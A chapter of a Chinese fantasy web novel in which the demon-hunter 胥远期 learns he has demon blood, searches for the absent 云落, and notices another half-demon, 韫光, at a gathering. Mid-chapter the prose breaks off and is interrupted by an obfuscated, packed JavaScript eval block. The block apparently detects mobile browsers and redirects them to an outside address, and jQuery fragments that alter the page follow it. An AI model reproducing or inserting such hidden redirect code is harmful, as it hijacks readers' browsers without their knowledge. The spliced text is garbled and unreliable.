南楼雪尽 作品

29. 旧梦妖踪迷雾涌

    众人都说,上巳节那日的夜晚,无风无雨,偏偏天雷滚滚,闪电密布。


    胥远期醒来时,他躺在巷子里,身边有着淡淡的香草气,少年的手摸到了破碎的香囊,那是云落不要的赠礼。


    他刚站起身,嗓子里一团血腥之气直冲天灵盖,好像呼吸都带着刺,让他不由地弯腰咳出一团黑血。


    “云落。”


    他不自觉地轻轻喊出了云落的名字。


    少年擦干嘴角的血,忍着胸腔的剧疼扶墙站起了身。


    他靠在墙上,大口喘着粗气,无论如何也想不起昨夜的事。


    “又是这样,为什么又是这样?”


    他捶着墙,对自己感到陌生与不满。


    可少年轻抬眸,他的目光落在了自己捶墙的手上,整个人忽然愣住了。


    手没有任何变化,但不知为何,他一看就知道,这手里流淌着妖的血液。


    他的瞳孔骤缩,虽说前些日子他已有预料自己的身体发生了些变化,可此刻真正面对自己竟然有妖的血脉的这个事实,还是让他惊恐。


    胥远期目光恍惚,匆忙摇了摇头,试图让自己清新一些,当他再次看向这双手,依旧没有任何变化,这手里流淌着两种血脉。


    他紧闭双眼,大脑混乱至极,这些变故无从寻起,他只能抓住最近的一个变故来思考:他是和云落一起的,云落去哪里了?


    想到此,他跌跌撞撞地跑回了归墟司。


    一进月沉阁,便看到珏含走出来。


    他忙喊:“珏含姑娘,云落呢?”


    珏含停下来,平静地看着他,道:“姐姐有事,要离开一段时间。”


    他抬眼看了一眼云落的屋子,已落锁了,时遂也不在。


    少年心口发疼,他立马慌了:“时遂呢?为什么时遂也不在,她们是不是不回来了?”


    珏含语气中多了几分不耐烦:“付夜紫今早把时遂接过去了,她想照顾时遂几日,时遂也同意了。”


    “所以云落还会回来的对吗?”


    珏含点点头。


    胥远期小幅度地咬了一下唇,支吾着问道:“她是出什么事了吗?”


    “闭上你的乌鸦嘴。”


    珏含冷冷撂下一句话,转身离去。


    “珏含姑娘!”胥远期又叫住了她。


    珏含回过头,盯着他,拉长声音问道:“还有什么事?”


    胥远期深吸一口气,说道:“你、云落还有时遂是不是一开始就知道?”


    “知道什么?”


    “知道……我有妖的血脉。”


    珏含顿了顿,“没错,人看不出来这个,但妖能看出来,像时遂这样妖与人的孩子也能看出来。”


    “那为何这些年我一直都看不出自己的身份,直到今日才意识到自己有妖的血脉。”


    珏含摆摆手:“那就是你的事了,我也不知道。”


    胥远期意识到她不想说,于是他又扯到了云落身上:“云落她真没事吧?昨夜发生了什么吗?”


    珏含似有些烦躁,不理他直接跑出了院子。


    胥远期失魂落魄地坐在石凳上。


    接二连三发生的事情让他没法好好消化。


    他听到开门的动静,疲惫地看过去,简无遗从屋中走了出来。


    他轻笑一声:“简无遗。”


    他有些无奈地继续道:“你一直在屋里,那是不是听到了我说的话。”


    简无遗清淡如云般的眼眸颤动了一下,他从容地在少年的对面坐下。


    他将佩剑放在石桌上,胥远期的余光又看到了那两个字——困春。


    简无遗道:“我昨天就知道了。”


    胥远期很是意外:“昨天?”


    简无遗不急不慢:


    “黎酒告诉我,若按人算的话,我们这个院子中有四个人,若按妖算的话,我们这个院子有五个妖。”


    “我起初还当她数错了,结果她说你和时遂一样,也有妖的血脉。”


    闻言,胥远期点了点头。


    他看着简无遗的眼睛,问道:“你不会觉得我是异类吗?”


    “为什么会这样觉得?”


    “因为我是除妖师。”


    简无遗还没回答,远处便传来了女子清脆的声音。


    “这算什么异类?”


    只见黎酒蹦蹦跳跳地走过来,自来熟般坐在二人中央,她道:“无论你是人是妖,是除妖师,还是普通人,你都是胥远期呀。”


    “黎酒姑娘。”


    “直接叫我黎酒就好了。”


    胥远期点点头,又问道:“黎酒,你和云落认识,你知道云落去哪了吗?”


    “不知道,她昨夜没有回来。”


    黎酒一脸奇怪的笑:“你昨夜也没有回来呀。”


    胥远期眉间几缕愁容,他道:“我怕她一个人在外面,若是遇见危险了可怎么办。”


    闻言,黎酒用一种戏谑的目光打量了胥远期一眼,她轻笑了一声:“她可不需要你担心呢。”


    “为什么?”


    “因为……云落姐姐做事很小心的,妖界又不是什么蛮横之地,不会有什么危险的。”


    “嗯,我是妖的事……”


    简无遗:“你若不想说,我们也不会多说。”


    话音落下,黎酒突然凑到简无遗耳旁,欣喜地说:“我们?你说的是我们。”


    简无遗眼神闪躲,黎酒笑得魅惑至极。


    胥远期看着二人这暧昧的举动,他笑道:“多谢。”


    他垂下头,笑意逐渐褪去。


    简无遗不敢看黎酒,于是他看着胥远期,问道:“你现在皱眉,是因为你发现你变成了妖,还是因为云落姑娘离开了。”


    胥远期看着云落那间落了锁的屋子,他的眼中几分怅然:“都有吧。”


    余下的三月,胥远期没有见到云落一面。


    他还是记不起那夜的事。


    每次离开月沉阁,或回到月沉阁时,看见那间关了灯的屋子,他内心像被人挖去一块,空荡至极。


    他曾数次徘徊于无解山之下,想翻过这座山,去这妖界,找到杳无音信的云落。


    可简无遗和大初小初时常盯着他,不让他做逾矩之事。


    胥远期是妖人之子的事,大初小初也知道了。


    他们不断宽慰着少年,毫不在意这件事情,对于胥远期的事,大初即便很八卦,他的嘴巴也管的特别严。


    珏含避着他,胥远期从穆九尘口中也没能得知云落的下落。


    时遂倒没有避着他,但这孩子也不知道云落去哪了,他只说小姨告诉他,阿娘有事要做,很快就会回来的。


    少年在看不见云落的这些日子里,开始思忖着下山后发生的怪事。


    为何执笔人要隐瞒归墟哀响的事情。


    为何雾妖临死前指着他说他害了自己的爱人。


    为何他直到现在妖族血脉才觉醒,开始的十余年毫无察觉。


    云落离开的那个晚上到底发生了什么,为什么他一个人躺在巷子里。


    还有一个,就是他从未想过的身世。


    因为人与妖相爱本就艰难,若真有了孩子,难道会随意弃之不顾让其沦为孤儿吗?


    胥远期想,不会的,唯一合理的答案,是两个人都出事了。


    这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454547|167744||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    是他最不希望看到的答案。


    父母这个词,对胥远期来说,太遥远了。


    各种百思不得其解的问题交织在他的脑海里。


    心绪凄迷之际,胥远期恍然记起了床头的蝶梦铃,他将蝶梦铃挂在了枝繁叶茂的大树下,一抬眸,却被院外飘来的柳絮迷住了眼睛。


    四月,这是柳絮轻起的长安。


    稳稳当当算下来,他已经一个月不见云落了。


    这天,除妖师们接到了一个通知。


    当今圣上唯一的女儿,千意公主谢轻弦要来归墟司视察。


    众人疑虑:公主前来所为何事?


    若说视察,恕少年们直言,她个金枝玉叶养在深宫中的公主,懂什么视察。


    执笔人言,公主殿下会在归墟司停留五日,这五日,其余府邸的除妖师也需暂居归墟司。


    众人唏嘘:果然权力是在规则之上。


    公主一来,那一年后再入归墟司的先例都可以破一破。


    四月三日当晚,听闻公主驾到,八方府邸的除妖师立刻入住归墟司。


    等人来齐后,众人带着半分防备,齐聚柏舟堂,恭迎公主殿下莅临。


    百人以门派而分站在堂内两侧。


    江临风在队伍里左扭右扭:


    右边问问:“蔻蔻,有没有想我呀?”


    左边问问:“裳裳,有没有想我呀?”


    后边问问:“清冉,有没有想我呀?”


    顾长聿忍无可忍:“闭嘴呀你。”


    被说了,江临风哼唧了一声,“都不理我……怎么比邱越还冷漠?”


    他手欠,又打了打他斜前方站着的胥远期。


    “跑神了?你身边那个云落姑娘还没回来?”


    胥远期侧过头看他,快速地点了点头,目光很快又落在了对面一个风云派少年身上。


    那少年一进柏舟堂的时候,胥远期便注意到了不对劲。


    因为……他也是妖人后代。


    少年身姿挺拔,目光炯炯,长得倒是一表人才,然左脸从下巴到耳根处有一快看似是被火所烧的疤痕。


    那不像是寻常的火烧成的疤痕,疤痕起伏不平,红中泛黑,乍一看有几分渗人。


    他的脸就像是一件完美的雕塑被锤子砸烂了一角,让人不免觉得可惜。


    少年注意到胥远期的目光,心无波澜地迎了过去。


    两个“异类”就这样隔着人群看着对方。


    小初寻着胥远期的目光看过去,他劝道:“远期,人家脸上有疤,你这样直白看着不太好。”


    胥远期收回了目光,他问:“你知道他是谁吗?”


    小初摇头:“不知道,不是我那边的人。”


    胥远期又问另一边的大初,大初眯着眼睛思索了片刻,他道:“他叫韫光,住在东南方府邸。”


    初小一回忆道:“闻有福不是住在南边吗?有次我在外面遇见他,一个嘴多的男孩一直跟在我们身后说有福丑,有福像是习惯了一样也不生气,我要教训那孩子,有福非拉住了我,这时候韫光来了,他开始把自己的伤疤捂住,而后在孩子面前将伤疤突然揭开,把那嘴多的小孩吓哭了,也不乱说话,直接跑了,于是我们就聊了几句,认识了对方。”


    胥远期若有所思地点点头:“……那你还听说过关于他的其他事吗?”


    “没有了,怎么了。”


    “没事。”


    胥远期站正,他在想,为何韫光一个人妖后代,也成为了除妖师,他的父母呢?


    胥远期他自己是毫无记忆,自小便是孤儿,可韫光难道也不知道自己是妖吗?


    他想不通。